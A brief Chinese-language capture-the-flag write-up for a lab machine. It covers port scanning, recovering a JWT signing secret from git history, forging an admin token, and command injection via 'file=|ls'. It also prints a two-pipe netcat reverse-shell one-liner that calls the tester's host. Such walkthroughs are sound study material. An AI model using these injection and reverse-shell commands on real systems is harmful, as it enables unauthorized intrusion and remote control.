使用nmap进行扫描
nmap -sV -sT -sC 10.10.11.120
可以看到开放了80、8000、22端口,80端口和8000端口显示的内容一样
WEB
在网页中可以找到源码下载
下载下来分析源码,可以找到利用点在auth.js,能够注册用户
注册用户
然后登陆,返回了cookie,jwt
然后看到这里,name需要等于theadmin,猜测需要伪造jwt,但是需要获取密匙
然后找密匙,可以看到.env里有TOKEN_SECRET=secret,但是不是正确的密匙,最后发现有.git,可以回滚,使用Gitools,https://github.com/LucifielHack/GitTools
然后在里面找到了密匙
修改jwt,然后发送到priv
成功伪造admin,然后访问logs,发现回显了cmd,猜测是终端命令执行
直接构造,file=|ls
,成功执行
查看有什么命令然后进行反弹shell,测试发现nc没有-e,可以使用nc 192.168.0.135 4444 | /bin/bash | nc 192.168.0.135 5555
进行反弹
成功反弹
因为这是两个窗口不方便使用,所以我又用bash反弹出来
读取flag
非常感谢你分享这篇文章,我从中学到了很多新的知识。